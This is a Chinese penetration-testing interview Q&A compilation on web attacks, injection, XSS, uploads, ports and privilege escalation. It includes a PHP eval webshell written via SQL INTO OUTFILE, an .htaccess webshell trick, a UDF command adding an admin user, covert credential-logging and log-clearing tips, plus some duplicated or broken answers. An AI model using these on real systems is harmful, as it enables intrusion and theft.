1. 程式人生 > 實用技巧 >滲透測試面試問題合集

滲透測試面試問題合集

本文轉自網路,侵刪

一、思路流程

1、資訊收集

a、伺服器的相關資訊(真實ip,系統型別,版本,開放埠,WAF等)

b、網站指紋識別(包括,cms,cdn,證書等),dns記錄

c、whois資訊,姓名,備案,郵箱,電話反查(郵箱丟社工庫,社工準備等)

e、子域名收集,旁站,C段等

f、google hacking針對化搜尋,pdf檔案,中介軟體版本,弱口令掃描等

g、掃描網站目錄結構,爆後臺,網站banner,測試檔案,備份等敏感檔案洩漏等

h、傳輸協議,通用漏洞,exp,github原始碼等

2、漏洞挖掘

a、瀏覽網站,看看網站規模,功能,特點等

b、埠,弱口令,目錄等掃描,對響應的埠進行漏洞探測,比如 rsync,心臟出血,mysql,ftp,ssh弱口令等。

c、XSS,SQL注入,上傳,命令注入,CSRF,cookie安全檢測,敏感資訊,通訊資料傳輸,暴力破解,任意檔案上傳,越權訪問,未授權訪問,目錄遍歷,檔案 包含,重放攻擊(簡訊轟炸),伺服器漏洞檢測,最後使用漏掃工具等

3、漏洞利用&許可權提升

a、mysql提權,serv-u提權,oracle提權

b、windows 溢位提權

c、linux髒牛,核心漏洞提權e

4、清除測試資料&輸出報告

日誌、測試資料的清理
總結,輸出滲透測試報告,附修復方案

5、複測

驗證並發現是否有新漏洞,輸出報告,歸檔

二、問題

1、拿到一個待檢測的站,你覺得應該先做什麼?

資訊收集
a、獲取域名的whois資訊,獲取註冊者郵箱姓名電話等,丟社工庫裡看看有沒有洩露密碼,然後嘗試用洩露的密碼進行登入後臺。用郵箱做關鍵詞進行丟進搜尋引擎。利用搜索到的關聯資訊找出其他郵箱進而得到常用社交賬號。社工找出社交賬號,裡面或許會找出管理員設定密碼的習慣 。利用已有資訊生成專用字典。

b、查詢伺服器旁站以及子域名站點,因為主站一般比較難,所以先看看旁站有沒有通用性的cms或者其他漏洞。

c、檢視伺服器作業系統版本,web中介軟體,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞

d、檢視IP,進行IP地址埠掃描,對響應的埠進行漏洞探測,比如 rsync,心臟出血,mysql,ftp,ssh弱口令等。

e、掃描網站目錄結構,看看是否可以遍歷目錄,或者敏感檔案洩漏,比如php探針
f、google hack 進一步探測網站的資訊,後臺,敏感檔案

漏洞掃描
開始檢測漏洞,如XSS,XSRF,sql注入,程式碼執行,命令執行,越權訪問,目錄讀取,任意檔案讀取,下載,檔案包含,遠端命令執行,弱口令,上傳,編輯器漏洞,暴力破解等

漏洞利用
利用以上的方式拿到webshell,或者其他許可權

許可權提升
提權伺服器,比如windows下mysql的udf提權,serv-u提權,windows低版本的漏洞,如iis6,pr,巴西烤肉,linux髒牛漏洞,linux核心版本漏洞提權,linux下的mysql system提權以及oracle低許可權提權

日誌清理

總結報告及修復方案

2、判斷出網站的CMS對滲透有什麼意義?

查詢網上已曝光的程式漏洞。

如果開源,還能下載相對應的原始碼進行程式碼審計。

3.一個成熟並且相對安全的CMS,滲透時掃目錄的意義?

敏感檔案、二級目錄掃描

站長的誤操作比如:網站備份的壓縮檔案、說明.txt、二級目錄可能存放著其他站點

4.常見的網站伺服器容器。

IIS、Apache、nginx、Lighttpd、Tomcat

5.mysql注入點,用工具對目標站直接寫入一句話,需要哪些條件?

root許可權以及網站的絕對路徑。

6.目前已知哪些版本的容器有解析漏洞,具體舉例。

a、IIS 6.0
/xx.asp/xx.jpg "xx.asp"是資料夾名

b、IIS 7.0/7.5
預設Fast-CGI開啟,直接在url中圖片地址後面輸入/1.php,會把正常圖片當成php解析

c、Nginx
版本小於等於0.8.37,利用方法和IIS 7.0/7.5一樣,Fast-CGI關閉情況下也可利用。空位元組程式碼 xxx.jpg.php

d、Apache 上傳的檔案命名為:test.php.x1.x2.x3,Apache是從右往左判斷後綴

e、lighttpd xx.jpg/xx.php,不全,請小夥伴們在評論處不吝補充,謝謝!

7.如何手工快速判斷目標站是windows還是linux伺服器?

linux大小寫敏感,windows大小寫不敏感。

8.為何一個mysql資料庫的站,只有一個80埠開放?

更改了埠,沒有掃描出來。

站庫分離。

3306埠不對外開放

9、3389無法連線的幾種情況

沒開放3389 埠
埠被修改
防護攔截
處於內網(需進行埠轉發)

10.如何突破注入時字元被轉義?

寬字元注入
hex編碼繞過

11.在某後臺新聞編輯介面看到編輯器,應該先做什麼?

檢視編輯器的名稱版本,然後搜尋公開的漏洞。

12.拿到一個webshell發現網站根目錄下有.htaccess檔案,我們能做什麼?

能做的事情很多,用隱藏網馬來舉例子:
插入

<FilesMatch "xxx.jpg"> SetHandler application/x-httpd-php

.jpg檔案會被解析成.php檔案。

具體其他的事情,不好詳說,建議大家自己去搜索語句來玩玩。

13.注入漏洞只能查賬號密碼?

只要許可權廣,拖庫脫到老。

14.安全狗會追蹤變數,從而發現出是一句話木馬嗎?

是根據特徵碼,所以很好繞過了,只要思路寬,繞狗繞到歡,但這應該不會是一成不變的。

15.access 掃出字尾為asp的資料庫檔案,訪問亂碼,**如何實現到本地利用?

迅雷下載,直接改字尾為.mdb。

16.提權時選擇可讀寫目錄,為何儘量不用帶空格的目錄?

因為exp執行多半需要空格界定引數

17.某伺服器有站點A,B 為何在A的後臺新增test使用者,訪問B的後臺。發現也新增上了test使用者?

同資料庫。

18.注入時可以不使用and 或or 或xor,直接order by 開始注入嗎?

and/or/xor,前面的1=1、1=2步驟只是為了判斷是否為注入點,如果已經確定是注入點那就可以省那步驟去。

19:某個防注入系統,在注入時會提示:

系統檢測到你有非法注入的行為。
已記錄您的ip xx.xx.xx.xx
時間:2016:01-23
提交頁面:test.asp?id=15
提交內容:and 1=1

20、如何利用這個防注入系統拿shell?

在URL裡面直接提交一句話,這樣網站就把你的一句話也記錄進資料庫檔案了 這個時候可以嘗試尋找網站的配置檔案 直接上菜刀連結。

21.上傳大馬後訪問亂碼時,有哪些解決辦法?

瀏覽器中改編碼。

22.審查上傳點的元素有什麼意義?

有些站點的上傳檔案型別的限制是在前端實現的,這時只要增加上傳型別就能突破限制了。

23.目標站禁止註冊使用者,找回密碼處隨便輸入使用者名稱提示:“此使用者不存在”,你覺得這裡怎樣利用?

先爆破使用者名稱,再利用被爆破出來的使用者名稱爆破密碼。
其實有些站點,在登陸處也會這樣提示
所有和資料庫有互動的地方都有可能有注入。

24.目標站發現某txt的下載地址為

http://www.test.com/down/down.php?file=/upwdown/1.txt,你有什麼思路?

這就是傳說中的下載漏洞!在file=後面嘗試輸入index.php下載他的首頁檔案,然後在首頁檔案裡繼續查詢其他網站的配置檔案,可以找出網站的資料庫密碼和資料庫的地址。

25.甲給你一個目標站,並且告訴你根目錄下存在/abc/目錄,並且此目錄下存在編輯器和admin目錄。請問你的想法是?

直接在網站二級目錄/abc/下掃描敏感檔案及目錄。

26.在有shell的情況下,如何使用xss實現對目標站的長久控制?

後臺登入處加一段記錄登入賬號密碼的js,並且判斷是否登入成功,如果登入成功,就把賬號密碼記錄到一個生僻的路徑的檔案中或者直接發到自己的網站檔案中。(此方法適合有價值並且需要深入控制權限的網路)。

在登入後才可以訪問的檔案中插入XSS指令碼。

27.後臺修改管理員密碼處,原密碼顯示為*。你覺得該怎樣實現讀出這個使用者的密碼?

審查元素 把密碼處的password屬性改成text就明文顯示了

28.目標站無防護,上傳圖片可以正常訪問,上傳指令碼格式訪問則403.什麼原因?

原因很多,有可能web伺服器配置把上傳目錄寫死了不執行相應指令碼,嘗試改字尾名繞過

29.審查元素得知網站所使用的防護軟體,你覺得怎樣做到的?

在敏感操作被攔截,通過介面資訊無法具體判斷是什麼防護的時候,F12看HTML體部 比如護衛神就可以在名稱那看到內容。

30.在win2003伺服器中建立一個 .zhongzi資料夾用意何為?

隱藏資料夾,為了不讓管理員發現你傳上去的工具。

31、sql注入有以下兩個測試選項,選一個並且闡述不選另一個的理由:

A. demo.jsp?id=2+1
B. demo.jsp?id=2-1
選B,在 URL 編碼中 + 代表空格,可能會造成混淆

32、以下連結存在 sql 注入漏洞,對於這個變形注入,你有什麼思路?

demo.do?DATA=AjAxNg==
DATA有可能經過了 base64 編碼再傳入伺服器,所以我們也要對引數進行 base64 編碼才能正確完成測試

33、發現 demo.jsp?uid=110 注入點,你有哪幾種思路獲取 webshell,哪種是優選?

有寫入許可權的,構造聯合查詢語句使用using INTO OUTFILE,可以將查詢的輸出重定向到系統的檔案中,這樣去寫入 WebShell 使用 sqlmap –os-shell 原理和上面一種相同,來直接獲得一個 Shell,這樣效率更高 通過構造聯合查詢語句得到網站管理員的賬戶和密碼,然後掃後臺登入後臺,再在後臺通過改包上傳等方法上傳 Shell

34、CSRF 和 XSS 和 XXE 有什麼區別,以及修復方式?

XSS是跨站指令碼攻擊,使用者提交的資料中可以構造程式碼來執行,從而實現竊取使用者資訊等攻擊。修復方式:對字元實體進行轉義、使用HTTP Only來禁止JavaScript讀取Cookie值、輸入時校驗、瀏覽器與Web應用端採用相同的字元編碼。

CSRF是跨站請求偽造攻擊,XSS是實現CSRF的諸多手段中的一種,是由於沒有在關鍵操作執行時進行是否由使用者自願發起的確認。修復方式:篩選出需要防範CSRF的頁面然後嵌入Token、再次輸入密碼、檢驗Referer XXE是XML外部實體注入攻擊,XML中可以通過呼叫實體來請求本地或者遠端內容,和遠端檔案保護類似,會引發相關安全問題,例如敏感檔案讀取。修復方式:XML解析庫在呼叫時嚴格禁止對外部實體的解析。

35、CSRF、SSRF和重放攻擊有什麼區別?

CSRF是跨站請求偽造攻擊,由客戶端發起 SSRF是伺服器端請求偽造,由伺服器發起 重放攻擊是將截獲的資料包進行重放,達到身份認證等目的

36、說出至少三種業務邏輯漏洞,以及修復方式?

密碼找回漏洞中存在

1)密碼允許暴力破解、

2)存在通用型找回憑證、

3)可以跳過驗證步驟、

4)找回憑證可以攔包獲取

等方式來通過廠商提供的密碼找回功能來得到密碼。身份認證漏洞中最常見的是

1)會話固定攻擊

2) Cookie 仿冒

只要得到 Session 或 Cookie 即可偽造使用者身份。驗證碼漏洞中存在

1)驗證碼允許暴力破解

2)驗證碼可以通過 Javascript 或者改包的方法來進行繞過

37、圈出下面會話中可能存在問題的項,並標註可能會存在的問題?

get /ecskins/demo.jsp?uid=2016031900&keyword=”hello world”
HTTP/1.1Host:***.com:82User-Agent:Mozilla/
5.0 Firefox/40Accept:text/css,/;q=0.1
Accept-Language:zh-CN;zh;q=0.8;en-US;q=0.5,en;q=0.3
Referer:http://*******.com/eciop/orderForCC/
cgtListForCC.htm?zone=11370601&v=145902
Cookie:myguid1234567890=1349db5fe50c372c3d995709f54c273d;
uniqueserid=session_OGRMIFIYJHAH5_HZRQOZAMHJ;
st_uid=N90PLYHLZGJXI-NX01VPUF46W;
status=True
Connection:keep-alive

有寫入許可權的,構造聯合查詢語句使用using INTO OUTFILE,可以將查詢的輸出重定向到系統的檔案中,這樣去寫入 WebShell 使用 sqlmap –os-shell 原理和上面一種相同,來直接獲得一個 Shell,這樣效率更高 通過構造聯合查詢語句得到網站管理員的賬戶和密碼,然後掃後臺登入後臺,再在後臺通過改包上傳等方法上傳 Shell

38、給你一個網站你是如何來滲透測試的?在獲取書面授權的前提下。

39、sqlmap,怎麼對一個注入點注入?

1)如果是get型號,直接,sqlmap -u "諸如點網址".
2) 如果是post型諸如點,可以sqlmap -u "注入點網址” --data="post的引數"
3)如果是cookie,X-Forwarded-For等,可以訪問的時候,用burpsuite抓包,注入處用號替換,放到檔案裡,然後sqlmap -r "檔案地址"

40、nmap,掃描的幾種方式

41、sql注入的幾種型別?

1)報錯注入
2)bool型注入
3)延時注入
4)寬位元組注入

42、報錯注入的函式有哪些?10個

1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】
2)通過floor報錯 向下取整
3)+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)
4).geometrycollection()select from test where id=1 and geometrycollection((select from(selectfrom(select user())a)b));
5).multipoint()select from test where id=1 and multipoint((select from(select from(select user())a)b));
6).polygon()select from test where id=1 and polygon((select from(select from(select user())a)b));
7).multipolygon()select from test where id=1 and multipolygon((select from(select from(select user())a)b));
8).linestring()select from test where id=1 and linestring((select from(select from(select user())a)b));
9).multilinestring()select from test where id=1 and multilinestring((select from(select from(select user())a)b));
10).exp()select from test where id=1 and exp(~(select * from

43、延時注入如何來判斷?

if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)

44、盲注和延時注入的共同點?

都是一個字元一個字元的判斷

45、如何拿一個網站的webshell?上傳,後臺編輯模板,sql注入寫檔案,命令執行,程式碼執行, 一些已經爆出的cms漏洞,比如dedecms後臺可以直接建立指令碼檔案,wordpress上傳外掛包含指令碼檔案zip壓縮包等

46、sql注入寫檔案都有哪些函式?

select '一句話' into outfile '路徑'
select '一句話' into dumpfile '路徑'
select '<?php eval($_POST[1]) ?>' into dumpfile  'd:\wwwroot\baidu.com\nvhack.php';

47、如何防止CSRF?

1)驗證referer
2)驗證token
詳細:http://cnodejs.org/topic/5533dd6e9138f09b629674fd

48、owasp 漏洞都有哪些?

1)SQL注入防護方法:
2)失效的身份認證和會話管理
3)跨站指令碼攻擊XSS
4)直接引用不安全的物件
5)安全配置錯誤
6)敏感資訊洩露
7)缺少功能級的訪問控制
8)跨站請求偽造CSRF
9)使用含有已知漏洞的元件
10)未驗證的重定向和轉發

49、SQL注入防護方法?

1)使用安全的API
2)對輸入的特殊字元進行Escape轉義處理
3)使用白名單來規範化輸入驗證方法
4)對客戶端輸入進行控制,不允許輸入SQL注入相關的特殊字元
5)伺服器端在提交資料庫進行SQL查詢之前,對特殊字元進行過濾、轉義、替換、刪除。

50、程式碼執行,檔案讀取,命令執行的函式都有哪些?

1)程式碼執行:

eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function

2)檔案讀取:

file_get_contents(),highlight_file(),fopen(),read
file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等

3)命令執行:

system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()

51、img標籤除了onerror屬性外,還有其他獲取管理員路徑的辦法嗎?

src指定一個遠端的指令碼檔案,獲取referer

52、img標籤除了onerror屬性外,並且src屬性的字尾名,必須以.jpg結尾,怎麼獲取管理員路徑。

1)遠端伺服器修改apache配置檔案,配置.jpg檔案以php方式來解析 AddType application/x-httpd-php .jpg

53、為什麼aspx木馬許可權比asp大?

aspx使用的是.net技術。IIS 中預設不支援,ASP只是指令碼語言而已。入侵的時候asp的木馬一般是guest許可權…APSX的木馬一般是users許可權。

54、如何繞過waf?

大小寫轉換法
干擾字元 /!/
編碼 base64 unicode hex url ascll
復引數

55、如何向伺服器寫入webshell?

各種上傳漏洞
mysql具有寫入許可權,用sql語句寫入shell
http put方法

56、滲透測試中常見的埠

a、web類(web漏洞/敏感目錄) 第三方通用元件漏洞struts thinkphp jboss ganglia zabbix

80 web
80-89 web
8000-9090 web

b、資料庫類(掃描弱口令)

1433 MSSQL
1521 Oracle
3306 MySQL
5432 PostgreSQL

c、特殊服務類(未授權/命令執行類/漏洞)

443 SSL心臟滴血
873 Rsync未授權
5984 CouchDBhttp://xxx:5984/_utils/
6379 redis未授權
7001,7002 WebLogic預設弱口令,反序列
9200,9300 elasticsearch 參考WooYun: 多玩某伺服器ElasticSearch命令執行漏洞
11211 memcache未授權訪問
27017,27018 Mongodb未授權訪問
50000 SAP命令執行
50070,50030 hadoop預設埠未授權訪問

d、常用埠類(掃描弱口令/埠爆破)

21 ftp
22 SSH
23 Telnet
2601,2604 zebra路由,預設密碼zebra
3389 遠端桌面

ALL、埠合計詳情

21 ftp
22 SSH
23 Telnet
80 web
80-89 web
161 SNMP
389 LDAP
443 SSL心臟滴血以及一些web漏洞測試
445 SMB
512,513,514 Rexec
873 Rsync未授權
1025,111 NFS
1433 MSSQL
1521 Oracle:(iSqlPlus Port:5560,7778)
2082/2083 cpanel主機管理系統登陸 (國外用較多)
2222 DA虛擬主機管理系統登陸 (國外用較多)
2601,2604 zebra路由,預設密碼zebra
3128 squid代理預設埠,如果沒設定口令很可能就直接漫遊內網了
3306 MySQL
3312/3311 kangle主機管理系統登陸
3389 遠端桌面
4440 rundeck 參考WooYun: 借用新浪某服務成功漫遊新浪內網
5432 PostgreSQL
5900 vnc
5984 CouchDBhttp://xxx:5984/_utils/
6082 varnish 參考WooYun: Varnish HTTP accelerator CLI 未授權訪問易導致網站被直接篡改或者作為代理進入內網
6379 redis未授權
7001,7002 WebLogic預設弱口令,反序列
7778 Kloxo主機控制面板登入
8000-9090 都是一些常見的web埠,有些運維喜歡把管理後臺開在這些非80的埠上
8080 tomcat/WDCP主機管理系統,預設弱口令
8080,8089,9090 JBOSS
8083 Vestacp主機管理系統 (國外用較多)
8649 ganglia
8888 amh/LuManager 主機管理系統預設埠
9200,9300 elasticsearch 參考WooYun: 多玩某伺服器ElasticSearch命令執行漏洞
10000 Virtualmin/Webmin 伺服器虛擬主機管理系統
11211 memcache未授權訪問
27017,27018 Mongodb未授權訪問
28017 mongodb統計頁面
50000 SAP命令執行
50070,50030 hadoop預設埠未授權訪問

三、深信服一面

瞭解哪些漏洞

檔案上傳有哪些防護方式

用什麼掃描埠,目錄

如何判斷注入

注入有防護怎麼辦

有沒有寫過tamper

3306 1443 8080是什麼埠

計算機網路從物理層到應用層xxxx

有沒有web服務開發經驗

如何向伺服器寫入webshell

有沒有用過xss平臺

網站滲透的流程

mysql兩種提權方式(udf,?)

常見加密方式xxx

ddos如何防護

有沒有抓過包,會不會寫wireshark過濾規則

清理日誌要清理哪些

四、SQL注入防護

1、使用安全的API
2、對輸入的特殊字元進行Escape轉義處理
3、使用白名單來規範化輸入驗證方法
4、對客戶端輸入進行控制,不允許輸入SQL注入相關的特殊字元
5、伺服器端在提交資料庫進行SQL查詢之前,對特殊字元進行過濾、轉義、替換、刪除。
6、規範編碼,字符集

五、為什麼引數化查詢可以防止SQL注入

原理:

使用引數化查詢資料庫伺服器不會把引數的內容當作sql指令的一部分來執行,是在資料庫完成sql指令的編譯後才套用引數執行

簡單的說: 引數化能防注入的原因在於,語句是語句,引數是引數,引數的值並不是語句的一部分,資料庫只按語句的語義跑

六、SQL頭注入點

UA
REFERER
COOKIE
IP

七、盲注是什麼?怎麼盲注?

盲注是在SQL注入攻擊過程中,伺服器關閉了錯誤回顯,我們單純通過伺服器返回內容的變化來判斷是否存在SQL注入和利用的方式。盲注的手段有兩種,一個是通過頁面的返回內容是否正確(boolean-based),來驗證是否存在注入。一個是通過sql語句處理時間的不同來判斷是否存在注入(time-based),在這裡,可以用benchmark,sleep等造成延時效果的函式,也可以通過構造大笛卡兒積的聯合查詢表來達到延時的目的。

八、寬位元組注入產生原理以及根本原因

1、產生原理

在資料庫使用了寬字符集而WEB中沒考慮這個問題的情況下,在WEB層,由於0XBF27是兩個字元,在PHP中比如addslash和magic_quotes_gpc開啟時,由於會對0x27單引號進行轉義,因此0xbf27會變成0xbf5c27,而資料進入資料庫中時,由於0XBF5C是一個另外的字元,因此\轉義符號會被前面的bf帶著"吃掉",單引號由此逃逸出來可以用來閉合語句。

2、在哪裡編碼

3、根本原因

character_set_client(客戶端的字符集)和character_set_connection(連線層的字符集)不同,或轉換函式如,iconv、mb_convert_encoding使用不當。

4、解決辦法

統一資料庫、Web應用、作業系統所使用的字符集,避免解析產生差異,最好都設定為UTF-8。或對資料進行正確的轉義,如mysql_real_escape_string+mysql_set_charset的使用。

5、SQL裡面只有update怎麼利用

先理解這句 SQL

UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'

如果此 SQL 被修改成以下形式,就實現了注入

a、修改 homepage 值為http://xxx.net', userlevel='3

之後 SQL 語句變為

UPDATE user SET password='mypass', homepage='http://xxx.net', userlevel='3' WHERE id='$id'

userlevel 為使用者級別

b、修改 password 值為mypass)' WHERE username='admin'#

之後 SQL 語句變為

UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'

c、修改 id 值為' OR username='admin'之後 SQL 語句變為

UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'

九、SQL如何寫shell/單引被過濾怎麼辦

寫shell: root許可權,GPC關閉,知道檔案路徑 outfile函式

http://127.0.0.1:81/sqli.php?id=1 into outfile 'C:\\wamp64\\www\\phpinfo.php' FIELDS TERMINATED BY '<?php phpinfo(); ?>'
http://127.0.0.1:81/sqli.php?id=-1 union select 1,0x3c3f70687020706870696e666f28293b203f3e,3,4 into outfile 'C:\\wamp64\\www\\phpinfo.php'

寬位元組注入

1、代替空格的方法

%0a、%0b、%a0 等
/**/ 等註釋符
<>

2、mysql的網站注入,5.0以上和5.0以下有什麼區別

5.0以下沒有information_schema這個系統表,無法列表名等,只能暴力跑表名。

5.0以下是多使用者單操作,5.0以上是多使用者多操做。

十、XSS

1、XSS原理

反射型

使用者提交的資料中可以構造程式碼來執行,從而實現竊取使用者資訊等攻擊。需要誘使使用者“點選”一個惡意連結,才能攻擊成功

儲存型

儲存型XSS會把使用者輸入的資料“儲存”在伺服器端。這種XSS具有很強的穩定性。

DOM型

通過修改頁面的DOM節點形成的XSS,稱之為DOM Based XSS。

2、DOM型和反射型的區別

反射型XSS:通過誘導使用者點選,我們構造好的惡意payload才會觸發的XSS。反射型XSS的檢測我們在每次請求帶payload的連結時頁面應該是會帶有特定的畸形資料的。DOM型:通過修改頁面的DOM節點形成的XSS。DOM-based XSS由於是通過js程式碼進行dom操作產生的XSS,所以在請求的響應中我們甚至不一定會得到相應的畸形資料。根本區別在我看來是輸出點的不同。

3、DOM型和XSS自動化測試或人工測試

人工測試思路:找到類似document.write、innerHTML賦值、outterHTML賦值、window.location操作、寫javascript:後內容、eval、setTimeout 、setInterval 等直接執行之類的函式點。找到其變數,回溯變數來源觀察是否可控,是否經過安全函式。自動化測試參看道哥的部落格,思路是從輸入入手,觀察變數傳遞的過程,最終檢查是否有在危險函式輸出,中途是否有經過安全函式。但是這樣就需要有一個javascript解析器,否則會漏掉一些通過js執行帶入的部分內容。

在回答這段問題的時候,由於平時對客戶的檢測中,基本是憑藉不同功能點的功能加上經驗和直覺來進行檢測,對不同型別的XSS檢測方式實際上並沒有太過細分的標準化檢測方式,所以回答的很爛。。。

4、如何快速發現XSS位置

5、對於XSS怎麼修補建議

輸入點檢查:對使用者輸入的資料進行合法性檢查,使用filter過濾敏感字元或對進行編碼轉義,針對特定型別資料進行格式檢查。針對輸入點的檢查最好放在伺服器端實現。

輸出點檢查:對變數輸出到HTML頁面中時,對輸出內容進行編碼轉義,輸出在HTML中時,對其進行HTMLEncode,如果輸出在Javascript指令碼中時,對其進行JavascriptEncode。對使用JavascriptEncode的變數都放在引號中並轉義危險字元,data部分就無法逃逸出引號外成為code的一部分。還可以使用更加嚴格的方法,對所有數字字母之外的字元都使用十六進位制編碼。此外,要注意在瀏覽器中,HTML的解析會優先於Javascript的解析,編碼的方式也需要考慮清楚,針對不同的輸出點,我們防禦XSS的方法可能會不同,這點可能在之後的文章會做下總結。

除此之外,還有做HTTPOnly對Cookie劫持做限制。

6、XSS蠕蟲的生產條件

正常情況下,一個是產生XSS點的頁面不屬於self頁面,使用者之間產生互動行為的頁面,都可能造成XSS Worm的產生。
不一定需要儲存型XSS

十一、CSRF

1、CSRF原理

CSRF是跨站請求偽造攻擊,由客戶端發起,是由於沒有在關鍵操作執行時進行是否由使用者自願發起的確認

2、防禦

驗證Referer
新增token

3、token和referer做橫向對比,誰安全等級高?

token安全等級更高,因為並不是任何伺服器都可以取得referer,如果從HTTPS跳到HTTP,也不會發送referer。並且FLASH一些版本中可以自定義referer。但是token的話,要保證其足夠隨機且不可洩露。(不可預測性原則)

4、對referer的驗證,從什麼角度去做?如果做,怎麼杜絕問題

對header中的referer的驗證,一個是空referer,一個是referer過濾或者檢測不完善。為了杜絕這種問題,在驗證的白名單中,正則規則應當寫完善。

5、針對token,對token測試會注意哪方面被人,會對token的哪方面進行測試?

引用一段請教前輩的回答:

針對token的攻擊,一是對它本身的攻擊,重放測試一次性、分析加密規則、校驗方式是否正確等,二是結合資訊洩露漏洞對它的獲取,結合著發起組合攻擊
資訊洩露有可能是快取、日誌、get,也有可能是利用跨站
很多跳轉登入的都依賴token,有一個跳轉漏洞加反射型跨站就可以組合成登入劫持了
另外也可以結合著其它業務來描述token的安全性及設計不好怎麼被繞過比如搶紅包業務之類的

十一、SSRF

SSRF(Server-Side Request Forgery:伺服器端請求偽造) 是一種由攻擊者構造形成由服務端發起請求的一個安全漏洞。一般情況下,SSRF攻擊的目標是從外網無法訪問的內部系統。(正是因為它是由服務端發起的,所以它能夠請求到與它相連而與外網隔離的內部系統)

SSRF 形成的原因大都是由於服務端提供了從其他伺服器應用獲取資料的功能且沒有對目標地址做過濾與限制。比如從指定URL地址獲取網頁文字內容,載入指定地址的圖片,下載等等。

1、監測

SSRF漏洞的驗證方法:

1)因為SSRF漏洞是讓伺服器傳送請求的安全漏洞,所以我們就可以通過抓包分析傳送的請求是否是由伺服器的傳送的,從而來判斷是否存在SSRF漏洞

2)在頁面原始碼中查詢訪問的資源地址 ,如果該資源地址型別為 www.baidu.com/xxx.php?image=(地址)的就可能存在SSRF漏洞 4[1]

2、SSRF漏洞的成因 防禦 繞過

成因:模擬伺服器對其他伺服器資源進行請求,沒有做合法性驗證。利用:構造惡意內網IP做探測,或者使用其餘所支援的協議對其餘服務進行攻擊。防禦:禁止跳轉,限制協議,內外網限制,URL限制。繞過:使用不同協議,針對IP,IP格式的繞過,針對URL,惡意URL增添其他字元,@之類的。301跳轉+dns rebindding。

十二、上傳

1、檔案上傳漏洞原理

由於程式設計師在對使用者檔案上傳部分的控制不足或者處理缺陷,而導致使用者可以越過其本身許可權向伺服器上傳可執行的動態指令碼檔案

2、常見的上傳繞過方式

前端js驗證:禁用js/burp改包
大小寫
雙重字尾名
過濾繞過 pphphp->php

3、防護

檔案上傳目錄設定為不可執行
使用白名單判斷檔案上傳型別
用隨機數改寫檔名和路徑

4、審查上傳點的元素有什麼意義?

有些站點的上傳檔案型別的限制是在前端實現的,這時只要增加上傳型別就能突破限制了。

十三、檔案包含

1、原理

引入一段使用者能控制的指令碼或程式碼,並讓伺服器端執行 include()等函式通過動態變數的方式引入需要包含的檔案;
使用者能夠控制該動態變數。

2、導致檔案包含的函式

PHP:include(), include_once(), require(), re-quire_once(), fopen(), readfile(), … JSP/Servlet:ava.io.File(), java.io.Fil-eReader(), … ASP:include file, include virtual,

3、本地檔案包含

能夠開啟幷包含本地檔案的漏洞,被稱為本地檔案包含漏洞

十四、邏輯漏掃

1、金融行業常見邏輯漏洞

單針對金融業務的 主要是資料的篡改(涉及金融資料,或部分業務的判斷資料),由競爭條件或者設計不當引起的薅羊毛,交易/訂單資訊洩露,水平越權對別人的賬戶檢視或惡意操作,交易或業務步驟繞過。

十五、中間人攻擊

中間人攻擊是一個(缺乏)相互認證的攻擊;由於客戶端與伺服器之間在SSL握手的過程中缺乏相互認證而造成的漏洞

防禦中間人攻擊的方案通常基於一下幾種技術

1.公鑰基礎建設PKI 使用PKI相互認證機制,客戶端驗證伺服器,伺服器驗證客戶端;上述兩個例子中都是隻驗證伺服器,這樣就造成了SSL握手環節的漏洞,而如果使用相互認證的的話,基本可以更強力的相互認證

2.延遲測試

使用複雜加密雜湊函式進行計算以造成數十秒的延遲;如果雙方通常情況下都要花費20秒來計算,並且整個通訊花費了60秒計算才到達對方,這就能表明存在第三方中間人。

3.使用其他形式的金鑰交換形式

ARP欺騙

原理

每臺主機都有一個ARP快取表,快取表中記錄了IP地址與MAC地址的對應關係,而區域網資料傳輸依靠的是MAC地址。在ARP快取表機制存在一個缺陷,就是當請求主機收到ARP應答包後,不會去驗證自己是否向對方主機發送過ARP請求包,就直接把這個返回包中的IP地址與MAC地址的對應關係儲存進ARP快取表中,如果原有相同IP對應關係,原有的則會被替換。這樣攻擊者就有了偷聽主機傳輸的資料的可能

防護

1.在主機繫結閘道器MAC與IP地址為靜態(預設為動態),命令:arp -s 閘道器IP 閘道器MAC

2.在閘道器繫結主機MAC與IP地址

3.使用ARP防火牆

十六、DDOS

1、DDOS原理

利用合理的請求造成資源過載,導致服務不可用

syn洪流的原理

偽造大量的源IP地址,分別向伺服器端傳送大量的SYN包,此時伺服器端會返回SYN/ACK包,因為源地址是偽造的,所以偽造的IP並不會應答,伺服器端沒有收到偽造IP的迴應,會重試3~5次並且等待一個SYNTime(一般為30秒至2分鐘),如果超時則丟棄這個連線。攻擊者大量傳送這種偽造源地址的SYN請求,伺服器端將會消耗非常多的資源(CPU和記憶體)來處理這種半連線,同時還要不斷地對這些IP進行SYN+ACK重試。最後的結果是伺服器無暇理睬正常的連線請求,導致拒絕服務。

CC攻擊原理

對一些消耗資源較大的應用頁面不斷髮起正常的請求,以達到消耗服務端資源的目的。

2、DOSS防護

SYN Cookie/SYN Proxy、safereset等演算法。SYN Cookie的主要思想是為每一個IP地址分配一個“Cookie”,並統計每個IP地址的訪問頻率。如果在短時間內收到大量的來自同一個IP地址的資料包,則認為受到攻擊,之後來自這個IP地址的包將被丟棄。

十七、提權

MySQL兩種提權方式

udf提權,mof提權

MySQL_UDF提取

要求: 1.目標系統是Windows(Win2000,XP,Win2003);2.擁有MYSQL的某個使用者賬號,此賬號必須有對mysql的insert和delete許可權以建立和拋棄函式 3.有root賬號密碼 匯出udf: MYSQL 5.1以上版本,必須要把udf.dll檔案放到MYSQL安裝目錄下的lib\plugin資料夾下才能建立自定義函式 可以再mysql裡輸入select @@basedirshow variables like ‘%plugins%’ 尋找mysql安裝路徑 提權:

使用SQL語句建立功能函式。語法:Create Function 函式名(函式名只能為下面列表中的其中之一)returns string soname ‘匯出的DLL路徑’;

create function cmdshell returns string soname ‘udf.dll’
select cmdshell(‘net user arsch arsch /add’);
select cmdshell(‘net localgroup administrators arsch /add’);

